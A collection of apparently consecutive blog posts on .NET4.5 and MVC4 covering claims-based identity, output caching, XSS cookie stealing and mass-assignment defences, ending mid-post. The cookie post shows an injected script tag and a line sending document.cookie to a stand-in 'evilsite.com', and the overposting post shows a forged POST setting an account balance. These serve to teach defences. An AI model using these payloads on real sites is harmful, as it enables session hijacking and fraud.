Introduction to Claims based security in .NET4.5 with C# Part 2: the new inheritance model

The previous blog post introduced how Claims are handled in .NET4.5. This blog will will discuss the new inheritance model of the IPrincipal and IIdentity interfaces.

The new inheritance model

Before .NET4.5 the built-in GenericPrincipal and WindowsPrincipal objects directly implemented the IPrincipal interface. GenericIdentity and WindowsIdentity inturn implemented the IIdentity interface. With .NET4.5 we can see a new philosophy: Claims must be readily available in any new .NET projects that have .NET4.5 as the underlying framework. The new inheritance structure is as follows:

  • ClaimsPrincipal implements IPrincipal
  • GenericPrincipal and WindowsPrincipal directly derive from ClaimsPrincipal
  • Therefore GenericPrincipal and WindowsPrincipal do not directly implement IPrincipal any more

Conclusion: even if you have never even heard of Claims and continue to use the ‘old’ GenericPrincipal and WindowsPrincipal objects you indirectly use ClaimsPrincipal even if it is not obvious at first. If you upgrade your .NET4 project to .NET4.5 then your authentication logic will not break and you will have access to the new features of ClaimsPrincipal through GenericPrincipal and WindowsPrincipal as well.

We see the same changes with IIdentity. Before .NET4.5 we had built-in implementations of IIdentity such as GenericIdentity, WindowsIdentity. Now we have one object, the ClaimsIdentity that directly implements IIdentity and the other two derive directly from ClaimsIdentity.

In other words: ClaimsPrincipal and ClaimsIdentity provide a common ground, a common base class for the objects that directly derive from it. If you have an intranet application with Windows Auth then all the specific properties available in WindowsIdentity and WindowsPrincipal, such as Impersonation or User token will be stored in the ClaimsCollection.

This also means that if you plan to build your own Identity and Principal objects then you should not implement IIdentity and IPrincipal but derive from ClaimsPrincipal and ClaimsIdentity instead. You will then have access to all the new features of Claims as well.

Claims inheritance demo

Fire up Visual Studio 2012 and create a new Console application with .NET4.5 as the underlying framework.

In the Main method add the following code to create a new WindowsIdentity:

WindowsIdentity windowsIdentity = WindowsIdentity.GetCurrent();

Set a breakpoint at this bit of code and run the application. Inspect ‘windowsIdentity’ in the Locals window and check its base class:

Windows Identity derives from Claims Identity

It’s easy to see that WindowsIdentity indeed derives from ClaimsIdentity. Scroll down the Locals window and you’ll see that WindowsIdentity has access to the Claims collection of its superclass:

Windows claims collection

The Claims collection has been populated mostly with the well-known WindowsIdentity Group SIDs.

Let’s have a look at GenericIdentity. Add the following code to Main:

GenericIdentity genericIdentity = new GenericIdentity("Andras");

Inspect the ‘genericIdentity’ variable in the Locals window and you’ll see again that the Claims collection has been populated with the Name claim:

GenericIdentity claims collection

This is great. Even if you use the old-style WindowsIdentity and GenericIdentity objects you have access to the Claims collection that you can query.

Build your own IIdentity object

In the past if you needed to build your own IIdentity object then you may have done something like this:

public class CompanyIdentity : IIdentity
    {
        public CompanyIdentity(string location, int allowance)
        {
            Location = location;
            Allowance = allowance;
        }

        public String Location { get; set; }
        public int Allowance { get; set; }


        public string AuthenticationType
        {
            get { throw new NotImplementedException(); }
        }

        public bool IsAuthenticated
        {
            get { throw new NotImplementedException(); }
        }

        public string Name
        {
            get { throw new NotImplementedException(); }
        }
    }

You may have implemented the IIdentity interface and added the custom properties that represent a User. These extra properties, such as Location are nothing but Claims really.

Today you would instead inherit from the ClaimsPrincipal object and populate the Claims collection with the AddClaim method:

public class CompanyIdentity : ClaimsIdentity
    {
        public CompanyIdentity(string location, int allowance)
        {
            AddClaim(new Claim(ClaimTypes.Locality, location));
            AddClaim(new Claim("http://www.mycompany.com/allowance", allowance.ToString()));
        }

        public string Location
        {
            get
            {
                return FindFirst(ClaimTypes.Locality).Value;
            }
        }

        public int Allowance
        {
            get
            {
                return Convert.ToInt32(FindFirst("http://www.mycompany.com/allowance").Value);
            }
        }
    }

The Location and Allowance getters are optional. You can directly inspect the claims collection of the CompanyIdentity object. The getters are there for convenience.

This was a rather short post dedicated to the new Identity and Principal inheritance model in .NET4.5. The next post will deal with claims transformation, i.e. how you can “dress up” an initial set of claims with new ones before your auth logic kicks in.

You can view the list of posts on Security and Cryptography here.

Introduction to Claims based security in .NET4.5 with C# Part 1: the absolute basics

The well-known built-in Identity objects, such as GenericPrincipal and WindowsPrincipal have been available for more than 10 years now in .NET. Claims were introduced in .NET4.5 to build Claims based authentication into the framework in the form of ClaimsIdentity and ClaimsPrincipal in the System.Security.Claims namespace.

Before we see some action in terms of code let’s look at a general description of claims. If you already know what they are and want to see the code then you can safely jump this section.

What is a claim?

A claim in the world of authentication and authorisation can be defined as a statement about an entity, typically a user. A claim can be very fine grained:

  • Tom is an administrator
  • Tom’s email address is tom@yahoo.com
  • Tom lives in Los Angeles
  • Tom’s allowed to view sales figures between 2009 and 2012
  • Tom’s allowed to wipe out the universe

If you are familiar with Roles in the ASP.NET Membership framework then you’ll see that Roles are also claim types. Claims come in key-value pairs:

  • Role: administrator
  • Email: tom@yahoo.com
  • Address: Los Angeles
  • Viewable sales period: 2009-2012

These statements are a lot more expressive than just putting a user in a specific role, such as marketing, sales, IT etc. If you want to create a more fine-grained authorisation process then you’ll need to create specialised roles, like the inevitable SuperAdmin and the just as inevitable SuperSuperAdmin.

Claims originate from a trusted entity other than the one that is being described. This means that it is not enough that Tom says that he is an administrator. If your company’s intranet runs on Windows then Tom will most likely figure in Active Directory/Email server/Sales authorisation system and it will be these systems that will hold these claims about Tom. The idea is that if a trusted entity such as AD tells us things about Tom then we believe them a lot more than if Tom himself comes with the same claims. This external trusted entity is called an Issuer. The KEY in the key-value pairs is called a Type and the VALUE in the key-value pair is called the Value. Example:

  • Type: role
  • Value: marketing
  • Issuer: Active Directory

Trust is very important: normally we trust AD and our own Exchange Server, but it might not be as straightforward with other external systems. In such cases there must be something else, e.g. a certificate that authenticates the issuer.

An advantage of claims is that they can be handled by disparate authentication systems which can have different implementations of claims: groups, roles, permissions, capabilities etc. If two such systems need to communicate through authorisation data then Claims will be a good common ground to start with.

How do we attach these claims to the Principals?

A Claim is represented in .NET4.5 by an object called… …Claim! It is found in the System.Security.Claims namespace.

There is a new implementation of the well-known IIdentity interface called ClaimsIdentity. This implementation holds an IEnumerable of Claim objects. This means that this type of identity is described by an arbitrary number of statements.

Not surprisingly we also have a new implementation of IPrincipal called ClaimsPrincipal which holds a read-only collection of ClaimsIdentity objects. Normally this collection of identities will only hold one ClaimsIdentity element. In some special scenarios with disparate systems a user can have different types of identities if they can identify themselves in multiple ways. The ClaimsPrincipal implementation accommodates this eventuality.

The advantage with having these new objects deriving from IPrincipal and IIdentity is compatibility. You can start introducing Claims in your project where you work with IPrincipals and IIdentities without breaking your code.

It’s been enough talk, let’s see some action

Start Visual Studio 2012 and create a new Console application with .NET4.5 as the underlying framework.

The simplest way to create a new Claim is by providing a Type and a Value in the Claim constructor:

static void Main(string[] args)
        {
            Claim claim = new Claim("Name", "Andras");
        }

You can use strings to describe types as above but we all know the disadvantages with such hard-coded strings. There is an enumeration called ClaimTypes that stores the most common claim types.

static void Main(string[] args)
        {
            Claim claim = new Claim("Name", "Andras");
            Claim newClaim = new Claim(ClaimTypes.Country, "Sweden");
        }

You can check out the values available in ClaimTypes using IntelliSense. It is safer to use the enumeration where-ever possible rather than the straight string values as chances are the system you’re trying to communicate Claims with will also understand the values behind the enumerated one. If you don’t find any suitable one there you can revert back to string-based Types and even define a formal namespace to the claim as follows:

new Claim("http://www.mycompany.com/building/floor", "Two")

Place the cursor on “Country” in ‘new Claim(ClaimTypes.Country, “Sweden”);’ and press F12. You’ll see a long list of namespaces, such as the following:

public const string Country = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/country";

These namespaces will uniquely describe the claim type.

It is very rare that there’s only one claim about a person. Instead, claims come in collections, so let’s create one:

static void Main(string[] args)
        {
            IList<Claim> claimCollection = new List<Claim>
            {
                new Claim(ClaimTypes.Name, "Andras")
                , new Claim(ClaimTypes.Country, "Sweden")
                , new Claim(ClaimTypes.Gender, "M")
                , new Claim(ClaimTypes.Surname, "Nemes")
                , new Claim(ClaimTypes.Email, "hello@me.com")
                , new Claim(ClaimTypes.Role, "IT")
            };
        }

We can easily build an object of type IIDentity out of a collection of claims, in this case a ClaimsIdentity as mentioned above:

ClaimsIdentity claimsIdentity = new ClaimsIdentity(claimCollection);

We now test if this identity is authenticated or not:

Console.WriteLine(claimsIdentity.IsAuthenticated);

Run the Console app and test for yourself; IsAuthenticated will return false. Claims can be attached to anonymous users which is different from the standard principal types in .NET4 and earlier. It used to be enough for the user to have a name for them to be authenticated. With Claims that is not enough. Why would you attach claims to an unauthenticated user? It is possible that you gather information about a user on your site which will be used to save their preferences when they are turned into members of your site.

If you want to turn this IIdentity into an authenticated one you need to provide the authentication type which is a string descriptor:

ClaimsIdentity claimsIdentity = new ClaimsIdentity(claimCollection, "My e-commerce website");

Run the application again and you’ll see that the user is now authenticated.

Using our identity object we can also create an IPrincipal:

ClaimsPrincipal principal = new ClaimsPrincipal(claimsIdentity);

As ClaimsPrincipal implements IPrincipal we can assign the ClaimsPrincipal to the current Thread as the current principal:

Thread.CurrentPrincipal = principal;

From this point on the principal is available on the current thread in the rest of the application.

Create a new method called Setup() and copy over all our code as follows:

static void Main(string[] args)
        {
            Setup();

            Console.ReadLine();
        }

        private static void Setup()
        {
            IList<Claim> claimCollection = new List<Claim>
            {
                new Claim(ClaimTypes.Name, "Andras")
                , new Claim(ClaimTypes.Country, "Sweden")
                , new Claim(ClaimTypes.Gender, "M")
                , new Claim(ClaimTypes.Surname, "Nemes")
                , new Claim(ClaimTypes.Email, "hello@me.com")
                , new Claim(ClaimTypes.Role, "IT")
            };

            ClaimsIdentity claimsIdentity = new ClaimsIdentity(claimCollection, "My e-commerce website");

            Console.WriteLine(claimsIdentity.IsAuthenticated);

            ClaimsPrincipal principal = new ClaimsPrincipal(claimsIdentity);
            Thread.CurrentPrincipal = principal;
        }

Let’s see if the new Claims-related objects can be used in .NET4 where Claims are not available. Create a new method as follows:

private static void CheckCompatibility()
        {

        }

Call this method from Main as follows:

static void Main(string[] args)
        {
            Setup();
            CheckCompatibility();

            Console.ReadLine();
        }

Add the following to the CheckCompatibility method:

IPrincipal currentPrincipal = Thread.CurrentPrincipal;
Console.WriteLine(currentPrincipal.Identity.Name);

Run the application and the name you entered in the claims collection will be shown on the output window. The call for the Name property will look through the claims in the ClaimsIdentity object and extracts the value of Name claim type.

In some cases it is not straightforward what a ‘Name’ type means. Is it the unique identifier of the user? Is it the email address? Or is it the display name? You can easily specify how a claim type is defined. You can pass two extra values to the ClaimsIdentity constructor: which claim type constitutes the ‘Name’ and the ‘Role’ claim types. So if you want the email address to be the ‘Name’ claim type you would do as follows:

ClaimsIdentity claimsIdentity = new ClaimsIdentity(claimCollection, "My e-commerce website", ClaimTypes.Email, ClaimTypes.Role);

Run the application and you will see that the email is returned as the name from the claim collection.

You can check if a user is in a specific role as before:

private static void CheckCompatibility()
        {
            IPrincipal currentPrincipal = Thread.CurrentPrincipal;
            Console.WriteLine(currentPrincipal.Identity.Name);
            Console.WriteLine(currentPrincipal.IsInRole("IT"));
        }

…which will yield true.

So we now know that ‘old’ authentication code will still be able to handle the Claims implementation. We’ll now turn to ‘new’ code. Create a new method called CheckNewClaimsUsage() and call it from Main just after CheckCompatibility().
The following will retrieve the current claims principal from the current thread:

private static void CheckNewClaimsUsage()
        {
            ClaimsPrincipal currentClaimsPrincipal = Thread.CurrentPrincipal as ClaimsPrincipal;
        }

Now you’ll have access to all the extra methods and properties built into ClaimsPrincipal. You can enumerate through the claims collection in the principal object, find a specific claim using Linq etc. Example:

private static void CheckNewClaimsUsage()
        {
            ClaimsPrincipal currentClaimsPrincipal = Thread.CurrentPrincipal as ClaimsPrincipal;
            Claim nameClaim = currentClaimsPrincipal.FindFirst(ClaimTypes.Name);
            Console.WriteLine(nameClaim.Value);
        }

You can use .HasClaim to check if the claims collection includes a specific claim you’re looking for.

You can also query the identities of the ClaimsPrincipal:

foreach (ClaimsIdentity ci in currentClaimsPrincipal.Identities)
            {
                Console.WriteLine(ci.Name);
            }

The line…

ClaimsPrincipal currentClaimsPrincipal = Thread.CurrentPrincipal as ClaimsPrincipal;

…becomes so common that there’s a built-in way to achieve the same thing:

ClaimsPrincipal currentClaimsPrincipal = ClaimsPrincipal.Current;

This will throw an exception if the concrete IPrincipal type is not ClaimsPrincipal for whatever reason.

We have looked at the very basics of Claims in .NET4.5. The next post will look at the new IIdentity and IPrincipal inheritance model.

You can view the list of posts on Security and Cryptography here.

Caching infrastructure in MVC4 with C#: caching controller actions

You can introduce caching in many places within your web application: you can cache service responses, repository responses or specific database call results. In this post we’ll look at how to cache controller action results. Actions in MVC generally return Views of some sort. These views can be cached on the controller level so that the code within the action body doesn’t need to execute with every call.

Create the test webapp

To demonstrate the caching techniques we’ll build a very simple MVC4 web application. We’ll pretend that extracting the contact data of our company requires some long running database call. Create an MVC4 web application with .NET4.5 as the underlying framework. Navigate to HomeController.cs and locate the Contact action. It should look as follows:

public ActionResult Contact()
        {
            ViewBag.Message = "Your contact page.";

            return View();
        }

Insert the following code just before the return statement:

Thread.Sleep(2000);

So we pretend that it takes 2 seconds to retrieve the contact information. Set a break point at ViewBag.Message and run the application. Navigate to the Contact action by clicking the ‘Contact’ link in the upper right hand corner. You’ll see of course that the execution breaks at the break point.

The OutputCache attribute

Normally the company’s contact data is pretty static so it’s futile to let the same 2 second logic run every time the Contact data is requested. The easiest way to save the ActionResult of the Contact action in the cache is to use the OutputCache attribute. The minimum requirement here is to specify the duration in seconds how long the action result should be cached. Update the Contact action as follows:

[OutputCache(Duration=10)]
public ActionResult Contact()

Run the application again and navigate to the Contact page. The first time you load this page the execution will break at the break point. Let the Contact page load normally. Now click the Contact link again; you’ll notice that the code execution did not break at the break point you inserted. As the action result is kept in the cache for 10 seconds the same View is returned on subsequent requests without running the code within the action method. Now wait at least 10 seconds and click the Contact link; as the Contact action result has been erased from the cache the code execution will break at the break point.

This was nice and easy and is a great solution for pages where the view changes very little over time.

OutputCache with parameters

If the action has parameters such as a search term then it’s of course not a good idea to simply cache the output as above. The user will see the same View result regardless of the search term. It would be better to cache the result of the search instead. This is not difficult to achieve either:

[OutputCache(Duration=3600, VaryByParam="searchTerm")]
public ActionResult Contact(string searchTerm)

The VaryByParam allows you to specify the parameters by which the result should be cached. Here we specify that the View result should be cached for each value of the searchTerm parameter. You can specify to cache the output for every thinkable combination of the parameters by writing VaryByParam=”*”. This is probably the best option and is also the default one. If for whatever reason you want to serve the same View regardless of the parameter values then you can specify VaryByParam=”none”.

Run the application and navigate to the contact page. The execution will break as expected. Next update the URL as follows:

http://localhost:xxxx/Home/Contact?searchTerm=a

…and press Enter. The execution will break again as the parameter is different; it was null the first time. Next update the query string to

?searchTerm=b

The execution will break as expected. Now try ?searchTerm=a again. The execution should not break as the View result has been put into the cache for searchTerm = “a”. Change back to ?searchTerm=b and the cached result will be returned.

Cache child action results

You can specify different caching policies for partial views within the parent view. Add the following action to HomeController.cs:

public ActionResult PartialViewTest()
        {
            return View();
        }

Right-click inside the action body and choose the Add View… option. In the Add View window accept all default values but check the ‘Create as a partial view’ checkbox. The PartialViewTest.cshtml file will be created. Add the following content in that file:

<p>
    This is a partial view.
</p>

Open Contact.cshtml and add the following code just underneath the closing hgroup tag on the top of the page:

@Html.Action("PartialViewTest")

The Action method will execute the action called PartialViewTest within the HomeController and return its partial view.

Navigate to the Contact page and you should see the contents of the partial view as follows:

Partial view result

Now you can specify different caching policies for the Contact and PartialViewTest actions. Change the output cache attribute of the Contact action to the following:

[OutputCache(Duration=3)]

We only specify a short caching period so that we don’t sit and wait for the cache to be erased.

Decorate the PartialViewTest action as follows:

[OutputCache(Duration=3600)]

The effect should be that although the Contact action body executes after 3 seconds, the child view should be cached. Insert a break point within both action bodies and run the application. As usual, navigate to the Contact page. You should see that execution breaks within both method bodies. Now wait at least 3 seconds and refresh the page. Execution should now only stop within the Contact method but leave the PartialViewTest method alone as the partial view of that action is still in the cache.

So, you can independently set the cache strategies for controller actions and their child actions.

Note however, that you may only specify the Duration, VaryByCustom, and VaryByParam cache parameters for child actions. If you try to e.g. define the VaryByHeader parameter you’ll receive an exception.

Specify the cache location

You can cache the action results on the client, the server or both using the Location parameter as follows:

[OutputCache(Duration = 3600, Location=System.Web.UI.OutputCacheLocation.ServerAndClient)]

The default value is ServerAndClient.

Cache according to the header values

If you have a multi-culture website where the user can specify the language of the web site then it’s a good idea to cache according to the available language. You don’t want to return a German-language view if the user is requesting the page in French. The language can be specified in the HTTP header called ‘Accept-Language’. So if this can vary then you can specify the following caching strategy:

[OutputCache(Duration = 3600, VaryByHeader="Accept-Language")]

Another type of header value will be important for AJAX requests. Let’s imagine that the Contact action is also available to AJAX calls. In other words only that portion of the screen will be refreshed which makes up the View result of the Contact action. The rest, i.e. the header, footer, menu etc. will stay constant. If a user then bookmarks a specific search result, e.g.:

http://localhost:xxxx/Home/Contact?searchTerm=a

…and will call this search directly from his/her browser then the Contact action will only serve up a cached version of the Contact view and nothing else. The reason is that user’s browser will send a full GET request and not an asynchronous one. All the other parts of the ‘normal’ full screen, i.e. everything that the AJAX call didn’t touch will be left out. The result will be very weird: a page devoid of styles – apart from any inline style tags in the Contact view – headers, footers etc. The problem lies with a specific header value: X-Requested-With. This is the only difference between the headers of the AJAX and the GET calls: it will be present on an AJAX request but absent on GET requests. To the caching engine there’s no difference between AJAX calls and GET calls because you didn’t specify this in the OutputCache attribute. Two things need to be done:

1. Update the OutputCache attribute to vary the output by this specific header type:

[OutputCache(Duration = 3600, VaryByHeader="X-Requested-With")]

Now the caching mechanism will be able to differentiate between two requests: one that wants a full page render and one that will only serve a portion of the page.

Unfortunately there are cases when this update is not enough. The default setting is that we’re letting the action result be cached on both the client and the server. However, some older browsers are not “clever” enough to detect the difference between full GET and partial AJAX requests.

2. To be on the safe side we need to specify that caching only should occur on the server:

You can achieve this as follows:

[OutputCache(Duration = 3600, VaryByHeader="X-Requested-With", Location=System.Web.UI.OutputCacheLocation.Server)]

Now the server will send instructions to the browser not to cache the action result. The browser will always have to access the server for a response. The server will then serve up a cached result if there’s any in its memory.

The safest and most elegant solution is of course to create separate action methods for full GET and partial AJAX calls.

Sql dependency caching

There is a parameter to the OutputCache attribute called SqlDependency. You can define so that if the contents of an SQL table change then the cache should be refreshed.

It sounds very tantalising but this solution is not widely used. There are significant restrictions on the type of SQL query that can be used.

Custom caching

If all else fails then you can build your own caching algorithm and specify this algorithm in the VaryByCustom parameter. You can find an example on MSDN here.

Cache profiles

It is generally bad practice to use hard coded strategies to tweak your solution. The same is valid for the OutputCache attribute: if you want to update the caching policy in your OutputCache attributes then you have to change each one of them one by one and redeploy your solution. This makes testing out the correct level of caching quite cumbersome.

Instead you can specify caching profiles in the web.config files and refer to these profiles by name in the OutputCache attribute.

You can specify your caching strategies within the system.web tag as follows:

    <caching>
      <outputCacheSettings>
        <outputCacheProfiles>
          <add name="Aggressive" duration="1600"/>
          <add name="Short" duration="20"/>
        </outputCacheProfiles>
      </outputCacheSettings>
    </caching>

…and refer to them in the OutputCache attribute like this:

[OutputCache(CacheProfile="Aggressive")]

This way you can simply change the values in web.config and see the effects immediately – there’s no need to redeploy your application.

View the list of MVC and Web API related posts here.

Web security in .NET4.5: cookie stealing

This post will discuss what cookie stealing means and how it can be prevented in a .NET4.5 web application – MVC or ASP.NET web proj.

Probably the most important cookies in the world of Internet are the authentication cookies. They store the necessary details of the logged-on user. They are passed along each web request so that the server can validate them on a protected web page. Other cookies store less sensitive data, such as user preferences.

Without the authentication cookies the user would need to log on to the web site on every web request even after the initial log-in. This is obviously very tedious so auth cookies have become indispensable. If an attacker manages to get hold of your auth cookie then they can impersonate you and do what they want using your identity and rights.

There are two types of cookies: session cookies and persistent cookies. Session cookies are stored in the browser’s memory and transmitted via the header during every request. Persistent cookies are transmitted the same way but are stored in a text file on the user’s hard drive. Session cookies become unavailable as soon as the session ends whereas persistent cookies will be available through subsequent sessions as well. This is the effect of the popular “Remember me” checkbox on login pages.

How can a cookie be stolen?

Recall that the auth cookie is passed along every HTTP request in the HTTP header. The attacker’s task is to somehow make the user’s browser send its cookies to their website. The solution will be running a bit of JavaScript code in the client browser. The script can be injected by a technique known as cross-site scripting (XSS) which means injecting JavaScript in the HTML so that it runs as soon as the page loads in the browser.

Imagine that you have a public forum where anyone can create an account and insert comments. If the contents of the textbox where the comments can be written are not sanitised well enough – i.e. checked for illegal characters, scripts – then the JavaScript code can slip through and be part of the generated HTML when the comment is shown on the screen. Then whoever loads that page will have a malicious script run in their browser. The reference to the script can be wrapped in other HTML tags. Example:

<img src=""http://www.nicesite.com/myprofile.jpg<script src="http://www.evilsite.com/evilscript.js">" />
<<img src=""http://www.nicesite.com/myprofile.jpg</script>"

The JavsScript file evilscript.js might look like this:

window.location="http://www.evilsite.com/evil.aspx?cookie=" + document.cookie;

When the browser loads and runs this bit of JavaScript it will transmit its cookies to evilsite.com.

You can do two things to prevent this type of attack:

1.) Sanitise ALL the inputs in textboxes and where-ever an external user can post his/her inputs. MVC4 does this automatically for you.

2.) Prevent cookie vulnerability by disallowing changes from the client’s browser. Stopping script access to all cookies in your site by a simple flag in web.config as follows:

<httpCookies domain="String" httpOnlyCookies="true" requireSSL="false" />

You can set this property for each of the site’s cookies in code as follows:

Response.Cookies["CustomCookie"].Value = "Custom setting";
Response.Cookies["CustomCookie"].HttpOnly = true;

HttpOnly tells the browser to invalidate the cookie if anything but the server sets it or changes it.

This simple technique will stop most XSS-based cookie problems.

You can view the list of posts on Security and Cryptography here.

Web security in MVC4 .NET4.5 with C#: mass assignment aka overposting

This blog post will describe what mass assignment means and how you can protect your MVC4 web site against such an attack. Note that mass assignment is also called overposting.

Before we go into the details let’s set up our MVC4 project. Start Visual Studio 2012 and create an MVC4 internet application with .NET4.5 as the underlying framework.

Locate the Model folder and add a class called Customer. Add the following properties to it:

public class Customer
    {
        public String Name { get; set; }
        public int Age { get; set; }
        public String Address { get; set; }
        public int AccountBalance { get; set; }
    }

Let’s say that our business rules say that every new customer starts with an account balance of zero so the AccountBalance property should have its default value of 0 when creating a new customer.

Add a new controller to the Controllers folder called CustomerController. In the Add Controller window select the Empty MVC controller template. The only action you’ll see in this controller at first is “Index”.

In this controller we’ll simulate fetching our customers from the database. We of course do not have a database and it’s a very bad idea to read directly from the database in a controller but that’s not relevant for our discussion. Add the following method underneath the Index action:

private List<Customer> GetCustomersFromDb()
        {
            return new List<Customer>()
            {
                new Customer(){Address ="Chicago",
                    Age = 30, Name = "John", AccountBalance = 1000}
                , new Customer(){Address = "New York", 
                    Age = 35, Name = "Jill", AccountBalance = 500}
                , new Customer(){Address = "Stockholm",
                    Age = 25, Name = "Andrew", AccountBalance = 800}
            };
        }

This code is quite clear I suppose.

Right-click the Index action and select “Add view” from the context menu. In the Add View windows set the View name to “Index”, check the “Create a strongly-typed view” checkbox and select Customer as the Model class as follows:

Values in Add View to Customer

The corresponding view file Index.cshtml will be created in the Views/Customer folder. Open that file and modify its model declaration to use a List of Customer instead of a single customer as follows:

@model List<MassAssignment.Models.Customer>

In this view we only want to list our customers in an unordered list:

@model List<MassAssignment.Models.Customer>

@{
    ViewBag.Title = "Index";
}

<h2>Customers</h2>

<ul>
    @foreach (var customer in Model)
    {
        <li>Name: @customer.Name</li>
        <li>Address: @customer.Address</li>
        <li>Age: @customer.Age</li>
        <li>Account balance: @customer.AccountBalance</li>
    }
</ul>

We’d like to have a link to this view so open _Layout.cshtml in the Views/Shared folder and locate the ‘nav’ tag. The navigation will already have the following three links:

<li>@Html.ActionLink("Home", "Index", "Home")</li>
<li>@Html.ActionLink("About", "About", "Home")</li>
<li>@Html.ActionLink("Contact", "Contact", "Home")</li>

Add one more link to the list as follows:

<li>@Html.ActionLink("Customers", "Index", "Customer")</li>

Now run the application and click the Customers link on the opening screen. You should be directed to the View showing our customers as follows:

List of customers

It will probably not win the yearly CSS contest, but this will serve as a good starting point.

The next step will be to build the elements necessary to insert a new Customer.

We need a screen with the necessary fields to add a new Customer and an action that returns that view. Open CustomerController.cs and add the following method:

        [HttpGet]
        public ActionResult Create()
        {
            return View();
        }

This will listen to HTTP Get requests and return a View which we don’t have yet. Right click ‘Create’ and select Add view from the context menu. The View name can be Create. Check the Create a strongly-typed view checkbox and select the Customer class as the underlying model. This will insert the View file Create.cshtml in the Views/Customer folder. At first it’s quite empty:

@model MassAssignment.Models.Customer

@{
    ViewBag.Title = "Create";
}

<h2>Create</h2>

Add the following HTML/Razor code underneath the h2 tag:

@using (Html.BeginForm())
{
    <fieldset>
        <legend>Customer</legend>
        <div class="editor-label">
            @Html.LabelFor(model => model.Name)
        </div>
        <div class="editor-field">
            @Html.EditorFor(model => model.Name)
        </div>
        <div class="editor-label">
            @Html.LabelFor(model => model.Address)
        </div>
        <div class="editor-field">
            @Html.EditorFor(model => model.Address)
        </div>
        <div class="editor-label">
            @Html.LabelFor(model => model.Age)
        </div>
        <div class="editor-field">
            @Html.EditorFor(model => model.Age)
        </div>
        <p>
            <input type="submit" value="Create" />
        </p>
    </fieldset>
}

We’re only adding the bare minimum that’s necessary for creating a new customer: labels and fields for all Customer properties bar one. Remember, that the business rules say that every new customer must start with an AccountBalance of 0, this property should not be set to any other value at creation time. Also this form lacks all types of data validation, but that’s not important for our purposes.

We need a link that leads to this View. Open Index.cshtml within the Customer folder and add the following Razor code below the unordered list:

@Html.ActionLink("Create new", "Create", "Customer")

Test the application now to see if you can navigate to the Create view. We need to add the code that will receive the user inputs. Go back to the Customer controller where we just added the Create method. The inputs on Create.cshtml will be posted against the Create view so we need a Create method that will listen to POST requests and accepts a Customer object as parameter.

Insert a method into CustomerController.cs that simulates saving the new Customer object in the database:

        private List<Customer> AddCustomerToDb(Customer customer)
        {
            List<Customer> existingCustomers = GetCustomersFromDb();
            existingCustomers.Add(customer);
            return existingCustomers;
        }

We can now add the overloaded Create method listening to POST requests:

        [HttpPost]
        public ActionResult Create(Customer customer)
        {
            List<Customer> updatedCustomers = AddCustomerToDb(customer);
            Session["Customers"] = updatedCustomers;
            return RedirectToAction("Index");
        }

The incoming Customer object will be populated using the values from the form we created on Create.cshtml. We add the customer to our ‘database’, save the updated list in a Session and redirect to the Index action to see the new list of Customers. Update the Index action to inspect the Session before checking the ‘database’:

public ActionResult Index()
        {
            List<Customer> customers = null;
            if (Session["Customers"] != null)
            {
                customers = Session["Customers"] as List<Customer>;
            }
            else
            {
                customers = GetCustomersFromDb();
            }
            return View(customers);
        }

Run the application and navigate to the Create customer view. Try to add a new Customer by filling out the Name, Address and Age fields. Remember that there is no validation so make sure you insert acceptable values, such as an integer in the Age field. Upon pressing the Create button you will be redirected to the Index view of the Customer controller and the new Customer will be added to the unordered list as follows:

Added a new customer

Note that the AccountBalance property was assigned the default value of 0 according to our business rules. So, we are perfectly safe, right? No-one ever could insert a customer with a positive or negative account balance. Well, it’s not so simple…

When the Create(Customer customer) action receives the POST request then the MVC binding mechanism tries its best to find all constituents of the Customer object. Run the application and navigate to the Create New Customer view. Check the generated HTML code; the form should look similar to this:

<form action="/Customer/Create" method="post">    <fieldset>
        <legend>Customer</legend>
        <div class="editor-label">
            <label for="Name">Name</label>
        </div>
        <div class="editor-field">
            <input class="text-box single-line" id="Name" name="Name" type="text" value="" />
        </div>
        <div class="editor-label">
            <label for="Address">Address</label>
        </div>
        <div class="editor-field">
            <input class="text-box single-line" id="Address" name="Address" type="text" value="" />
        </div>
        <div class="editor-label">
            <label for="Age">Age</label>
        </div>
        <div class="editor-field">
            <input class="text-box single-line" data-val="true" data-val-number="The field Age must be a number." data-val-required="The Age field is required." id="Age" name="Age" type="number" value="" />
        </div>
        <p>
            <input type="submit" value="Create" />
        </p>
    </fieldset>
</form>

Check the ‘name’ attribute of each input tag. They match the names of the properties of the Customer object. These values will be read by the MVC model binding mechanism to build the Customer object in the Create method. An attacker can easily send a HTTP POST request to our action which includes the property value for AccountBalance. You could achieve this with C# as follows:

Uri uri = new Uri("http://validuri/Customer/Create");
HttpRequestMessage message = new HttpRequestMessage(HttpMethod.Post, uri);
List<KeyValuePair<String, String>> postValues = new List<KeyValuePair<string, string>>();
postValues.Add(new KeyValuePair<string, string>("name", "hacker"));
postValues.Add(new KeyValuePair<string, string>("address", "neverland"));
postValues.Add(new KeyValuePair<string, string>("age", "1000"));
postValues.Add(new KeyValuePair<string, string>("accountbalance", "5000000"));
message.Content = new FormUrlEncodedContent(postValues);
HttpClient httpClient = new HttpClient();
Task<HttpResponseMessage> responseTask = httpClient.SendAsync(message);
HttpResponseMessage response = responseTask.Result;

Not too difficult, right? There are all sorts of tools out there which can generate POST requests for you, such as Curl, SoapUI and many more, so you don’t even have to write any real code to circumvent the business rule.

This is a common technique to send all sorts of values that you would not expect in your application logic. Attackers will try to populate your models testing for combinations of property names. In a banking application it is quite feasible that a Customer object will have a property name called exactly AccountBalance. After all the developers and domain owners will most likely not give the AccountBalance property some completely unrelated name, such as “Giraffe” and then create a translation table where it says that Giraffe really means AccountBalance.

What can you do to protect your application against overposting?

Property blacklist

You can use the Bind attribute to build a black list of property names i.e. the names of properties that should be excluded from the model binding process:

public ActionResult Create([Bind(Exclude="AccountBalance")] Customer customer)

You can specify a comma-separated list of strings as the Exclude parameter. These properties will be excluded from the model binding process. Even if the key-value pair from the form includes the AccountBalance property it will be ignored.

Property whitelist

You can use the Bind attribute to build a white-list of property names as follows:

public ActionResult Create([Bind(Include="Age,Name,Address")] Customer customer)

This white-list will include all property names that you want to be bound.

Use the UpdateModel/TryUpdateModel methods

You can use the overloads of UpdateModel or TryUpdateModel methods within the Create method as follows:

UpdateModel(customer, "Customer", new string{"Age","Name","Address"});

You can include the names of the properties in the string array that you want to use in the binding process.

Create a ViewModel

Probably the most elegant solution is to create an interim object – a viewmodel – that will hold the properties you want to bind upon a HTTP POST request. Insert a class called CustomerViewModel in the Models folder:

public class CustomerViewModel
    {
        public String Name { get; set; }
        public int Age { get; set; }
        public String Address { get; set; }
    }

Modify the Create method as follows:

